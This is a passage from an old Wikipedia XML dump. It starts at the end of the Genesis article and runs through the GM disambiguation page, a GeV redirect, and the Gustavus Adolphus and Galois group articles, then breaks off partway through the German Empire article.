*E. A. Speiser, ''Genesis, The Anchor Bible''. Volume 1. Garden City, New York: Doubleday &amp; Company, 1964. (A translation with scholarly commentary and philological notes by a noted Semitic scholar. The series is written for laypeople and specialists alike.)
*Bruce Vawter, ''On Genesis: A New Reading''. Garden City, New York: Doubleday &amp; Co., 1977. (An introduction to Genesis by a fine Catholic scholar. Genesis was Vawter's hobby.)
*Avivah Gottlieb Zornberg, ''The Beginning of Desire: Reflections on Genesis''. New York: Doubleday, 1995. (A scholarly Jewish commentary employing traditional sources.)

==External links==
Online versions and translations of [[Genesis]]:
*Original text:
** [http://www.mechon-mamre.org/p/pt/pt0101.htm &amp;#1489;&amp;#1512;&amp;#1488;&amp;#1513;&amp;#1497;&amp;#1514; ''Bereishit'' - Genesis] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)
*[[Judaism|Jewish]] translations: 
** [http://www.mechon-mamre.org/e/et/et0101.htm Genesis at Mechon-Mamre] (Jewish Publication Society translation)
** [http://bible.ort.org/books/pentd2.asp?ACTION=displaypage&amp;BOOK=1&amp;CHAPTER=1 Genesis (The Living Torah)] Rabbi [[Aryeh Kaplan]]'s translation and commentary at Ort.org
**[http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=6289 Bereishit-Genesis (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 
* [[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/01_genesis.htm ''Genesis'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Genesis}}
** [http://st-takla.org/pub_oldtest/01_gen.html Genesis in Arabic] (from St-Takla.org)
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Genesis ''Genesis'' at Wikisource] (Authorised/King James Version)
* Translations identifying sources according to the [[documentary hypothesis]]:
**[[Wikisource:Bible, English, King James, Documentary Hypothesis, Genesis|Genesis with sources highlighted, at Wikisource]]

===Related articles===
* [http://www.jewishencyclopedia.com/view.jsp?artid=137&amp;letter=G&amp;search=Genesis Book of ''Genesis'' article] (Jewish Encyclopedia)
* [http://www.threetwoone.org/diagrams/offspring-adam-2x-00.gif A detailed chart of Adam's descendents, as told in the book of ''Genesis'']
* [http://www.plymouthbrethren.org/passage.asp?passage_id=1 Genesis from the Biblical Resource Database]

===Other Sites===
* [http://www.biblicalstudies.org.uk/genesis.php BiblicalStudies.org.uk] Extensive bibliography, on-line articles and books.
* [http://www.answersingenesis.org] Answers in Genesis are an organistation who takes a stand for a &quot;straightforward&quot; reading of Genesis which in the 11 first chapters could be defined as a literal interpretation.


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[[Category:Old Testament books]]
[[Category:Bible]]
[[Category:Christian texts]]
[[Category:Spiritual books]]

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    </revision>
  </page>
  <page>
    <title>GM</title>
    <id>12669</id>
    <revision>
      <id>40363926</id>
      <timestamp>2006-02-20T01:54:29Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''GM''' is usually taken to mean [[General Motors]] ({{nyse|GM}}), an automobile manufacturing company.

Other meanings include:
*[[Game Maker]], a computer game developing program
*[[Gamemaster]] or Game Master, in play-by-mail games and role-playing games
*[[Gamemaster (board game series)|Gamemaster]], a series of board games created by [[Milton Bradley]]
*[[General manager]] of an organisation, including sporting teams
*The [[General MIDI]] standard specification
*[[General Mills]], a food manufacturing company
*[[General Motors]], an automobile company.
*[[Grand Marquis]], a Ford Mercury automobile brand
*[[Genetically modified]], (a living thing) having its DNA intentionally changed for a particular outcome
*[[George Medal]]: a British decoration
*[[Germany]], by its [[List of FIPS country codes|FIPS PUB 10-4 territory code]]
*[[Gmail]], the email offering from Google
*[[Gold medal]]. In the UK rifle shooting community, a person who has won Her Majesty the Queen's Prize at Bisley, Surrey may subsequently put the letters GM ('gold medal') after his/her name
*[[Golden master]], a single copy of a reproducible product, created for the purpose of duplication
*[[Grammatical modality]], the mode in which the grammar of a sentence is constructed
*[[Greasemonkey]] - a program for letting users modify websites on-the-fly
*[[International Grandmaster]] in chess
*[[The Republic of The Gambia]], a country in Africa ([[ISO 3166]] digram)
*The [[RGM-79 GM]] mobile suit and its successors in the anime series Mobile Suit Gundam
*A [[Unified Soil Classification System|USCS]] symbol for silty [[gravel]]
*'''GM''' is the IATA code for [[Air Slovakia]]

'''Gm''' may mean:
*[[gigametre]], an SI unit of length

==External links==
*[http://acronymfinder.com/af-query.asp?String=exact&amp;Acronym=gm Possible acronyms for &quot;gm&quot;]

{{2LCdisambig}}

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  </page>
  <page>
    <title>GeV</title>
    <id>12670</id>
    <revision>
      <id>15910341</id>
      <timestamp>2003-05-13T12:59:23Z</timestamp>
      <contributor>
        <username>Tannin</username>
        <id>6169</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Electronvolt]]</text>
    </revision>
  </page>
  <page>
    <title>Gustavus Adolphus of Sweden</title>
    <id>12671</id>
    <revision>
      <id>41345345</id>
      <timestamp>2006-02-26T19:12:15Z</timestamp>
      <contributor>
        <ip>81.214.22.24</ip>
      </contributor>
      <comment>/* Alternativ View */</comment>
      <text xml:space="preserve">{| align=&quot;right&quot;
| [[Image:Gustavus II Adolphus.jpg|thumb|220px|'''Gustav II Adolf'''&lt;br&gt;&lt;small&gt;King of Sweden&lt;/small&gt;]]
|}

'''Gustav II Adolf''' (also known as Gustaf Adolf den store or Gustavus II Adolphus)  ([[December 9]], [[1594]] &amp;ndash; [[November 6]], [[1632]] &lt;small&gt;[[Old Style and New Style dates|O.S.]]&lt;/small&gt;), widely known by the [[Latin]]ized name '''Gustavus Adolphus''' and referred to by Protestants as the '''Lion of the North''', was [[King of Sweden]] from [[1611]] until his death. He is the only Swedish king to be styled &quot;the Great&quot;. He was born in [[Stockholm]], the son of [[Charles IX of Sweden|Charles IX]] of the [[House of Vasa|Vasa dynasty]] and [[Holstein-Gottorp|Christina of Holstein-Gottorp]].

He was the [[monarch|king]] of [[Sweden]] from [[1611]], and as such one of the major players in the [[Thirty Years' War]]. Gustav Adolf was married to the daughter of the elector of Brandenburg-Prussia, [[Maria Eleonora of Brandenburg|Maria Eleonora]] and chose Prussia's city of [[Elbing]] as base for his operations in Germany. He died in battle on [[November 6]], [[1632]] at [[Lützen, Germany|Lützen]] in [[Germany]].

During his reign, Gustav founded the city of [[Gothenburg]] as well as a number of smaller cities. He is also the founder of the [[University of Tartu]] in [[Tartu]], [[Estonia]], which then belonged to the kingdom of Sweden. In this time, the three largest cities in the kingdom were [[Riga]] (currently the capital of [[Latvia]]), [[Stockholm]] and [[Tallinn]] (capital of [[Estonia]]).

==Military commander==
[[Image:Gustavus Adolphus at the Battle at Breitenfeld.jpg|thumb|right|200px|Gustavus Adolphus at the [[Battle of Breitenfield (1631)|Battle of Breitenfield]]]]

As a [[general]], Gustav is famous for employing mobile [[artillery]] on the battlefield, as well as a very active [[military tactics|tactic]] where attack was stressed over defense and mobility more important than in the usual [[linear tactic]]. 

This was only part of the reason why [[Carl von Clausewitz]] and [[Napoleon I of France|Napoleon Bonaparte]] idolized him as one of the greatest generals of all time. His character both of purpose and of amity with all his troops from commanding officers right down to the rank and file, earned him unassailably documented fame which most commanders in chief would gladly accept as mere joking anecdotes.

The king was an active participant in the battles, and was wounded several times, including gunshot wounds to the throat and the abdomen. His war wounds led the king to adopt a flexible armour of hide instead of the customary metal cuirass, and this is what he wore in the [[Battle of Lützen]]. Gustav's armour is currently on display in the [[Livrustkammaren]] at the [[Royal Palace in Stockholm]].

Gustav used the name Captain Gars to travel Europe incognito. Gars is derived from the initials of &quot;Gustavus Adolphus [[Rex]] Sueciae&quot;, [[Latin]] for &quot;Gustav Adolf [[Monarch|King]] of [[Sweden]]&quot;.

Gustav was killed at the [[Battle of Lützen (1632)|Battle of Lützen]] where, at a crucial point in the battle, he was separated from his troops while leading a cavalry charge into a dense [[smog]] of mist and gunpowder smoke. After his death, his wife [[Maria Eleonora]] of [[Brandenburg]] initially kept his body, and later his heart, in her castle for over a year. His remains (including his heart) now rest in [[Riddarholmskyrkan]] in [[Stockholm]]. 

[[Image:Autograph of Gustavus Adolphus.jpg|thumb|right|Autograph]]

In February 1633, following the death of the great king, the Swedish [[Riksdag of the Estates]] decided that his name would be accompanied by an accolade and that his name was to be styled Gustav Adolf the Great (or ''Gustav Adolf den Store'' in Swedish). Such an honor has not been bestowed on anyone else since.

The crown of Sweden was inherited in the family of Vasa, and from Charles IX's time excluded those Vasa princes who had been traitors or descended from deposed monarchs. Gustav Adolph's younger brother had died years ago, and therefore there were only females left. Maria Eleonora and the king's ministers took over the government on behalf of Gustav Adolph's underage daughter [[Christina of Sweden]] upon her father's death. He left two children of which we are aware: his illegitimate son [[Gustav Gustavsson af Vasaborg|Gustav, Count of Vasaborg]], and his legitimate daughter and successor, queen [[Christina of Sweden]].

===Alternative View===

The German Socialist [[Franz Mehring]] (1846 - 1919) wrote a biography about Gustavus Adolphus with a [[Marxist]] analysis of the actions of the Swedish King during [[Thirty Years' War]], claiming it had little to do with religion, (the official explanation), and everything to do with economics, (the Marxist explanation).

==Timeline==

* July [[1626]] Gustav and his army were disembarked  in [[Pillau]] [[Prussia]] during [[Polish-Swedish War|Polish-Sweden War of 1625-1629]].
* On [[18 August]] [[1627]] the King was seriously wounded by a Polish soldier in the battle of [[Tczew]].
* May[[1630]]. Gustav lands with his army in [[Pomerania]]. On [[July 6]] he lands in [[Germany]].
* September [[1631]]. At the [[Battle of Breitenfeld (1631)|Battle of Breitenfeld]], Gustav decisively defeats the Catholic forces led by [[Johan Tzerclaes, Count of Tilly|Tilly]], even after the allied Protestant Saxon army was routed and fled with the baggage train.
* March [[1632]]. At the [[Battle of Lech]], Gustav defeats Tilly once more, and in the battle Tilly sustains a fatal wound.
* April [[1632]]. [[Battle of Rain]].
* May [[1632]]. Munich yields to the Swedish army.
* September [[1632]]. Gustav attacks the stronghold of Alte Feste, which is under the command of [[Albrecht von Wallenstein|Wallenstein]], but is repulsed. This leads to defection of some mercenary elements in the Protestant army.
* November [[1632]]. [[Battle of Lützen (1632)|The Battle of Lützen]], Gustav is killed but the Swedes win the day and defeat Wallenstein. The Swedish war effort was kept up by generals Horn, Banér, Torstensson and chancellor Oxenstierna until the [[Peace of Westphalia]].
[[Image:Gustav II Adolf by Merian.jpg|thumb|Gustav II Adolph in Polish '[[delia]]' coat, painting by Merian 1632]]

A history of Adolphus' wars was written by [[Johann Philipp Abelin]].

Gustav Adolf Day is celebrated in Sweden each year on [[November 6]]. On this day only a special pastry, with a chocolate medallion of the king, is sold. The day is also an official [[Flag days in Sweden|flag day]] in the Swedish calendar.

==Fictional appearances==
Gustavus Adolphus plays an important supporting role in [[Eric Flint]]'s [[1632 series|''16XX'' series]].

==See also==
* [[History of Sweden]] — [[Rise of Sweden as a Great Power]]
* [[Axel Oxenstierna]]
* [[Gustav Gustavsson af Vasaborg]]
* [[Gustavus Adolphus College]]
* [[List of people known as The Great]]



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{{succession box | title=[[List of Swedish monarchs|King of Sweden]] | before=[[Charles IX of Sweden|Charles IX]] | after=[[Christina of Sweden|Christina]]'''&lt;br /&gt;&lt;small&gt;''Queen of Sweden'''''&lt;/small&gt; | years=1611&amp;ndash;1632}}
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[[Category:1594 births]]
[[Category:1632 deaths]]
[[Category:Vasa|Gustav 2 Adolf]]
[[Category:Swedish monarchs|Gustav 2 Adolf]]
[[Category:Rulers of Finland]]
[[Category:Swedish military commanders]]
[[Category:Knights of the Garter]]
[[Category:Thirty Years' War]]


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[[he:גוסטב השני אדולף, מלך שבדיה]]
[[nl:Gustaaf II Adolf]]
[[ja:グスタフ2世アドルフ (スウェーデン王)]]
[[no:Gustav II Adolf av Sverige]]
[[nn:Gustav II Adolf av Sverige]]
[[pl:Gustaw II Adolf]]
[[pt:Gustavo II Adolfo da Suécia]]
[[ru:Густав II Адольф]]
[[fi:Kustaa II Aadolf]]
[[sv:Gustav II Adolf]]</text>
    </revision>
  </page>
  <page>
    <title>Gustav II Adolf</title>
    <id>12672</id>
    <revision>
      <id>15910343</id>
      <timestamp>2005-06-08T19:04:33Z</timestamp>
      <contributor>
        <username>Violetriga</username>
        <id>90192</id>
      </contributor>
      <minor />
      <comment>update redirect after move</comment>
      <text xml:space="preserve">#REDIRECT [[Gustavus Adolphus of Sweden]]</text>
    </revision>
  </page>
  <page>
    <title>Galois group</title>
    <id>12673</id>
    <revision>
      <id>25266193</id>
      <timestamp>2005-10-11T09:34:52Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>fixing interwikis  +: es</comment>
      <text xml:space="preserve">In [[mathematics]], a '''Galois group''' is a [[group (mathematics)|group]] associated with a certain type of [[field extension]]. The study of field extensions (and [[polynomial]]s which give rise to them) via Galois groups is called [[Galois theory]].

For a more elementary discussion of Galois groups in terms of permutation groups, see the article on [[Galois theory]].

==Definition of the Galois group==

Suppose that ''E'' is an [[field extension|extension]] of the [[field (mathematics)|field]] ''F''. Consider the set of all field [[automorphism|automorphisms]] of ''E''/''F''; that is, [[isomorphism]]s &amp;alpha; from ''E'' to itself, such that &amp;alpha;(''x'') = ''x'' for every ''x'' in ''F''. This set of automorphisms with the operation of [[function composition]] forms a group ''G'', sometimes denoted Aut(''E''/''F'').

If ''E''/''F'' is a [[Galois extension]], then ''G'' is called the '''Galois group''' of the extension, and is usually denoted Gal(''E''/''F''). The significance of an extension being Galois is that it obeys the [[fundamental theorem of Galois theory]].

It can be shown that ''E'' is [[algebraic extension|algebraic]]
over ''F'' if and only if the Galois group is [[pro-finite group|pro-finite]].

==Examples==
* If ''E'' = ''F'', then the Galois group is the trivial group that has a single element.
* If ''F'' is the field '''R''' of [[real number]]s, and ''E'' is the field '''C''' of [[complex number]]s, then the Galois group has two elements, namely the identity automorphism and the [[complex conjugation]] automorphism.
* If ''F'' is '''Q''' (the field of [[rational number]]s), and ''E'' is '''Q'''(&amp;radic;2), the field obtained from '''Q''' by adjoining &amp;radic;2, then the Galois group again has two elements: the identity automorphism, and the automorphism which exchanges &amp;radic;2 and &amp;minus;&amp;radic;2.
* If ''F'' is '''Q''', and ''E'' is '''Q'''(&amp;alpha;), where &amp;alpha; is the real cube root of 2, then ''E''/''F'' is not a [[Galois extension]]. This is because it is not a [[normal extension]], since the other two cube roots of 2, being complex numbers, are not contained in '''Q'''(&amp;alpha;). In other words ''E'' is not a [[splitting field]]. There is no automorphism of ''E'' apart from the identity.
* If ''F'' is '''Q''' and ''E'' is the field of real numbers, then the automorphism group is trivial: the only automorphism of ''E'' is the identity. 
* If ''F'' is '''Q''' and ''E'' is the field of complex numbers, then the Galois group is infinite. 

[[Category:Field theory]]
[[Category:Group theory]]
[[Category:Galois theory]]

[[de:Galoisgruppe]]
[[es:Grupo de Galois]]
[[fr:Groupe de Galois]]</text>
    </revision>
  </page>
  <page>
    <title>German Empire</title>
    <id>12674</id>
    <revision>
      <id>42122271</id>
      <timestamp>2006-03-03T23:40:05Z</timestamp>
      <contributor>
        <username>Lucius1976</username>
        <id>782296</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Flag of the German Empire.svg|thumb|Flag of the German Empire, 1871&amp;ndash;1919: black-white-red]]
[[Image:prussiaflag_small.jpg|left|framed|Coat of arms]] 

The term '''German Empire''' commonly refers to [[Germany]], from its foundation as a unified [[nation-state]] on [[January 18]] [[1871]], until the abdication of [[Emperor]] [[Wilhelm II of Germany|Wilhelm II]] on [[November 9]] [[1918]]. Germans, when referring to the Reich in this period under the Kaisers, typically use the term '''Kaiserreich''' and this term has often been used by non-German historians. 

Sometimes in English, but rarely in German, the name '''Second Reich''' is used, based on counting the [[Holy Roman Empire]] of the German Nation as the first German empire and [[Nazi Germany]] as the third. Numbering of the Reichs began in [[1923]] by [[Arthur Moeller van Den Bruck]] (he longed for a third, which he idealized) and was briefly taken up by Nazi propaganda. After the Great War, ''Drittes Reich'' (or semi-translated 'Third Reich') became the standard name for Nazi Germany.

It should be noted that '''Deutsches Reich''' was the state's official name not only in the period of the Kaisers [[1871]] to [[1918]], but also during the [[Weimar Republic]], and in [[Nazi]] Germany; thus the next two articles of the [[History of Germany]] series also cover the official ''Deutsches Reich''.
{{History_of_Germany}}

==Bismarck's founding of the Empire==
Under the disguise of idealism giving way to realism, German nationalism rapidly shifted from its liberal and democratic character in [[1848]] to [[Prussia|Prussian]] prime minister [[Otto von Bismarck]]'s authoritarian ''[[Realpolitik]]''. Bismarck wanted unification to achieve his aim of a conservative, Prussian-dominated German state.  He accomplished this through three military successes:

# He first allied with [[Austrian Empire| Austria]] in order to defeat [[Denmark]] in a short war (the [[Second war of Schleswig]]) fought during [[1864]], thus acquiring [[Schleswig-Holstein]].
# In [[1866]], in concert with Italy, he virtually created the [[Austro-Prussian War]] and won a decisive victory at the [[Battle of Königgrätz]], which, in the same year, allowed him to exclude long-time rival Austria when forming the [[North German Confederation]] with the states that had supported Prussia in the Austro-Prussian War. The Confederation was the direct precursor to the 1871 Empire.
# Finally, France was defeated in the [[Franco-Prussian War]] ([[1870]]&amp;ndash;71); the Confederation was transformed into the Empire with the proclamation of Prussian King [[Wilhelm I of Germany|Wilhelm I]] as German Emperor at the [[Palace of Versailles]], to the humiliation of the French.

Bismarck himself prepared in broad outline the 1866 [[North German Constitution]], to become the 1871 [[Wikisource:Constitution of the German Empire|Constitution of the German Empire]] with some adjustments. Germany acquired some democratic features: notably the ''[[Reichstag (institution)|Reichstag]]'', that in contrast to the parliament of [[Prussia]] was elected by direct and equal manhood suffrage. However, legislation also required the consent of the ''Bundesrat'', the federal council of deputies from the states, in which Prussia had a large influence. Behind a constitutional façade, Prussia thus exercised predominant influence in both bodies with executive power vested in the ''Kaiser,'' who appointed the federal chancellor &amp;ndash; Otto von Bismarck. The Chancellor was accountable solely to and served entirely at the discretion of the Emperor. Officially, the Chancellor was a one-man cabinet and was responsible for the conduct of all state affairs; in practice, the [[State Secretary| State Secretaries]] (bureaucratic top officials in change of such fields as finance, war, foreign affairs, etc) acted as unofficial portfolio ministers. With the exception of the years [[1872]]-[[1873]] and [[1892]]-[[1894]], the Chancellor was always simultaneously the Prime Minister of the imperial dynasty's hegemonic home-kingdom, Prussia.   The ''Reichstag'' had the power to pass, amend or reject bills, but could not initiate legislation. The power of initiating legislation rested with the Chancellor.     

While the other states retained their own governments, the military forces of the smaller states were put under Prussian control, while those of the larger states such as the kingdoms of [[Bavaria]] and [[Saxony]], were coordinated along Prussian principles and would in war times be controlled by the federal government.  Although authoritarian in many respects, the empire permitted the development of political parties.

[[Image:Reichsgruendung2.jpg|thumb|left|300px|Proclamation of the German Empire in Versailles. Bismarck in white in the centre of the image]]

The evolution of the authoritarian German Empire is somewhat in line with parallel developments in Italy and Japan. Similarly to Bismarck, [[Count Camillo Benso di Cavour]] in [[Italy]] used diplomacy and war to achieve his objectives: he allied with France before attacking Austria, securing the [[unification of Italy]] as a kingdom under the Piemontese dynasty (except for Austrian [[Venice]] and the [[Papal States]]) by [[1861]]. In the interests of Piedmont-Sardinia, Cavour, hostile to the more revolutionary nationalism of liberal republicans such as [[Giuseppe Garibaldi]] and [[Giuseppe Mazzini]], sought the unification of Italy along conservative lines. Similarly, [[Japan]] would follow a course of conservative modernization from the fall of the [[Tokugawa Shogunate]] and the [[Meiji Restoration]] to [[1918]] along with Cavour's Italy. In fact, Japan issued a commission in 1882 to study various governmental structures throughout the world and were particularly impressed by Bismarck's Germany, issuing a constitution in [[1889]] that formed a premiership with powers analogous to Bismarck's position as chancellor with a cabinet responsible to the emperor alone.
The unification of Germany also meant absorbing the entire [[Kingdom of Prussia]] into it. The three provinces of [[East Prussia]] ( [[West Prussia]]),and [[Provinz Posen]] that were before parts of [[Polish-Lithuanian Commonwealth]], were incorporated into the new nation-state. All had large Polish populations, with Poles being majority in Provinz of Posen, the area being the historic birthplace of the Polish state. Another province, [[Silesia]], together with [[Bohemia]] and unlike [[East Prussia]], [[West Prussia]] and [[Provinz Posen]] part of the [[German Confederation]] had a considerable [[Poland|Polish]] minority. Since the Polish population was growing more rapidly, and Germans were migrating from eastern to western Germany in the [[Ostflucht]], eastern provinces gradually became populated by increasing Polish population. To counteract that trend and fearing the national liberation movement of Poles, the government attempted at enforcing the German language and culture by discriminating Poles and other national minorities.
One factor in the social anatomy of these governments had been the retention of a very substantial share in political power by the [[landed elite]], the [[Junker]]s, due to the absence of a revolutionary breakthrough by the peasants in combination with urban areas.

==List of Constituent States of the Empire==

[[Image:Map-deutsches-kaiserreich.png|thumb|German Empire, 1871&amp;ndash;1918]]
*Kingdoms ''(“Königreiche”)''
**[[Bavaria]] ''(“Bayern”)'' - capital [[Munich]]
**[[Prussia]] ''(“Preußen”)'' - capital [[Berlin]]
**[[Saxony]] ''(“Sachsen”)'' - capital [[Dresden]]
**[[Württemberg]] - capital [[Stuttgart]]

*Grand Duchies ''(“Großherzogtümer”)''
**[[Baden]] - capital [[Karlsruhe]]
**[[Hesse]] ''(“Hessen”)'' - capital [[Darmstadt]]
**[[Mecklenburg-Schwerin]] - capital [[Schwerin]]
**[[Mecklenburg-Strelitz]] - capital [[Strelitz]]
**[[Oldenburg]] - capital [[Oldenburg]]
**[[Saxe-Weimar-Eisenach]] ''(“Sachsen-Weimar-Eisenach”)'' - capital [[Weimar]]

*Duchies ''(“Herzogtümer”)''
**[[Anhalt]] - capital [[Dessau]]
**[[Brunswick]] ''(“Braunschweig”)'' - capital [[Braunschweig]]
**[[Saxe-Altenburg]] ''(“Sachsen-Altenburg”)'' - capital [[Altenburg]]
**[[Saxe-Coburg-Gotha]] ''(“Sachsen-Coburg und Gotha”)'' - capital [[Coburg]]
**[[Saxe-Meiningen]] ''(“Sachsen-Meiningen”)'' - capital [[Meiningen]]

*Principalities ''(“Fürstentümer”)''
**[[Lippe]] - capital [[Detmold]]
**[[Reuss#The Younger line|Reuss-Gera or Reuss Younger Line]] ''(“Reuß jüngere Linie”)'' - capital [[Gera]]
**[[Reuss#The Elder Line|Reuss-Greiz or Reuss Elder Line]] ''(“Reuß ältere Linie”)'' - capital [[Greiz]]
**[[Schaumburg-Lippe]] - capital [[Bückeburg]]
**[[Schwarzburg-Rudolstadt]] - capital [[Rudolstadt]]
**[[Schwarzburg-Sondershausen]] - capital [[Sondershausen]]
**[[Waldeck-Pyrmont]] - capital [[Arolsen]]

*Free Cities ''(“Freie Hansestädte”)''
**[[Bremen (city)|Bremen]]
**[[Hamburg]]
**[[Lübeck]]

*Others:
**Imperial Territory of [[Alsace-Lorraine]] ''(“Reichsland Elsaß-Lothringen”)''

==Conservative modernization==
Bismarck's domestic policies played a great role in forging the authoritarian political culture of the [[Kaiserreich]]. Less preoccupied by continental power politics following unification in [[1871]], Germany's semi-parliamentary government carried out a relatively smooth economic and political revolution from above that pushed them along the way towards becoming the world's leading industrial power of the time.

Not only did German manufacturers capture German markets from British imports, by the 1870s, British manufacturers in the staple industries of the [[Industrial Revolution]] were beginning to experience real competition abroad. Industrialization progressed dynamically in Germany and the [[United States]], allowing them to clearly prevail over the old French and British capitalisms. The German textiles and metal industries, for example, had by the beginning of the Franco-Prussian War surpassed those of Britain in organization and technical efficiency and usurped British manufacturers in the domestic market. By the turn of the century, the German metals and engineering industries would be producing heavily for the free trade market of Britain.

After achieving formal unification in 1871, Bismarck devoted much of his attention to the cause of national unity and achieving this under the ideology of Prussianism. Catholic conservatism, conceptualized by the reactionary turn of the [[Holy See|Vatican]] under [[Pope Pius IX]] and its [[dogma]] of [[Papal Infallibility]], and working class radicalism, represented by the emerging [[Social Democratic Party of Germany|Social Democratic Party]], in many ways both reacted to concerns of dislocation by very different segments of German society, brought by a rapid shift from an agrarian-based economy to modern industrial capitalism under reactionary tutelage. While out-and-out suppression failed to contain either socialists or Catholics, Bismarck's &quot;carrot and stick&quot; approach significantly mollified opposition from both groups.

One can summarize Bismarck's objectives under three keywords: ''[[Kulturkampf]],'' Social reform and national unification.

*'''''Kulturkampf.''''' Following the incorporation of the Catholic states in the south and the former Polish lands in the east, [[Catholicism]], represented by the [[Catholic Centre Party]], was seemingly the principal threat to Bismarck's military-aristocratic Prussian nationalism, because Catholics were perceived as having loyalty to [[Pope]] over the state. Southern Catholics, hailing from a much more agrarian base and falling under the ranks of the peasantry, artisans, guildsmen, clergy, and princely aristocracies of the small states more often than their Protestant counterparts in the North, initially had trouble competing with industrial efficiency and the opening of outside trade by the [[Zollverein]].

:After 1878, the struggle against socialism would unite Bismarck with the Catholic Centre Party, bringing an end to the ''Kulturkampf'', which had led to far greater Catholic unrest than existed beforehand and had strengthened rather than weakened Catholicism in Germany.

*'''Social reform.''' To contain the working class and to weaken the influence [[socialism|socialist]] groups, Bismarck's reluctant creation of a remarkably advanced [[welfare state]] would give the working class a stake in German nationalism as well. The social security systems installed by Bismarck (health care in 1883, accidents insurance in 1884, invalidity and old-age insurance in 1889) at the time were the most advanced in the world and, to a degree, still exist in Germany today.

*'''National unification.''' Bismarck's efforts also initiated the levelling of the enormous differences between the German states, which had been independent in their evolution for centuries, especially with [[legislation]].

The completely different legal histories and judicial systems posed enormous complications, especially for national trade. While a common trade code had already been introduced by the Confederation in 1861 (which was adapted for the Empire and, with great modifications, is still in effect today), there was little similarity in laws otherwise.

In 1871, a common Criminal Code ''(Reichsstrafgesetzbuch)'' was introduced; in 1877, common court procedures were established through the ''Gerichtsverfassungsgesetz'', the ''Zivilprozessordnung'' and the ''Strafprozessordnung'' (court system, civil procedures, and criminal procedures, respectively). In 1873 the constitution was amended to allow the Empire to replace the various and greatly differing Civil Codes of the states (if they existed at all; for example, parts of Germany formerly occupied by Napoleon's France had adopted the French Civil Code, while in Prussia the ''Allgemeines Preußisches Landrecht'' of 1794 was still in effect). In 1881, a first commission was established to produce a common Civil Code for all of the Empire, an enormous effort that would produce the ''Bürgerliches Gesetzbuch'' ([[BGB]]), possibly one of the most impressive legal works of the world; it was eventually put into effect on [[1 January]] [[1900]]. It speaks volumes for the conceptual quality of these [[codification]]s that they all, albeit with many amendments, have been in effect until today.

Carrying out many of the same tasks that would have been brought to fruition with the help of a revolution from below, the ultimate effects of conservative modernization are distinct. With real political power still in the hands of the aristocracy, the government sought to preserve as much of the original social framework as they could, even as the economic base of the landowners rapidly diminished in comparison to industry. Unification was followed by a prolonged period of conservative and even authoritarian government. The leadership had to have at hand or be able to construct a sufficiently powerful bureaucratic apparatus, including the agencies of repression, the military and the police. But in place a strong central government would have to establish strong authority and uniform administrative system, and a more or less uniform law code managed to create a sufficiently powerful military machine to be able to make the wishes of its rulers felt in the arena of international politics.

==Militarism==
[[Image:German War Ensign.png|thumb|Military insignia of the German Empire, showing at the upper-left the ''Eiserne Kreuz'' (Iron Cross) in front of the black-white-red flag]]
One of the by-products of conservative modernization was [[militarism]]. To unite the upper classes&amp;mdash;both the military-aristocracy and industrialists&amp;mdash;militarism proved necessary to continue modernization without changing socio-political structures. Each of the elites in the ruling coalition of the Empire found some advantages in formal, overseas expansion: mammoth monopolies wanted imperial support to secure overseas investments against competition and domestic political tensions abroad; bureaucrats wanted more occupations; military officers desired promotion; and the traditional but waning landed gentry wanted formal titles. Observing the rise of trade unionism, socialism, and other protest movements during an era of mass society in both Europe and later North America, the elite in particular was able to utilize nationalistic imperialism to co-opt the support of the industrial working class. Riding the sentiments of the late nineteenth century Romantic Age, imperialism inculcated the masses with neo-aristocratic virtues and helped instill broad, nationalist sentiments. Thus, Prussia&amp;mdash;heir to the garrison state built up by figures such as [[Friedrich Wilhelm I of Prussia|Friedrich Wilhelm I]] and [[Frederick II of Prussia|Frederick the Great]] in the [[18th century]]&amp;mdash;managed to create a sufficiently powerful military machine not only capable of challenging rivals on the continent such as Austria and France, but able to make its presence known in the arena of international politics.

German imperialists (of the [[Alldeutsche Verband]]), for instance, argued that Britain's world power position gave the British unfair advantages on international markets, thus limiting Germany's economic growth and threatening its security. Many European statesmen and industrialists wanted to accelerate the [[Scramble for Africa]], securing colonies before they strictly needed them. Their reasoning was that markets might soon become glutted, and a nation's economic survival depend on its being able to offload its surplus products elsewhere. In response, British imperialists such as [[Joseph Chamberlain]] thus concluded that formal imperialism was necessary for Britain because of the relative decline of its share of the world's export trade and the rise of German, American, and French economic competition.

Economic trends certainly played a major role, explaining why statesmen from [[Jules Ferry]] to [[Francesco Crispi]] sought new roles for the emerging powers that they led, especially during the Great Depression of [[1873]], but shifts in the European balance of power are what ultimately facilitated formal overseas expansionism. With the reactionary continental order established by the [[Congress of Vienna]] shattered, the allure of imperialism was an option beyond the traditional great powers of [[France]] and [[United Kingdom|Britain]]. The new nation states of [[Germany]] and [[Italy]] were no longer embroiled in continental concerns and domestic disputes as they were before the Franco-Prussian War.

Thus, Bismarck, once openly uninterested in overseas adventurism, was eventually brought to realize the political value of colonies. The absolutist Central Powers, led by a newly unified, dynamically industrializing Germany, with its expanding navy, doubling in size between the Franco-Prussian War and the Great War, were strategic threats to the markets and security of the more established Allied powers and Russia. German [[Colonization of Africa|colonial efforts]] from [[1884]] brought only a small overseas [[German South-West Africa|empire]] compared to those of Britain and France, although in the [[Herero Wars]] it shared with those empires the phenomenon of armed conflict between natives and colonials.

Subsequent German foreign policy initiatives (notably the initiation of a large battle fleet under the naval laws of 1898 and 1900) drove [[United Kingdom|Britain]] into diplomatic alignment (the [[Entente]]) with a [[France|Franco]]-[[Russia]]n alliance already in the offing at the time of Bismarck's fall.

==After Bismarck==
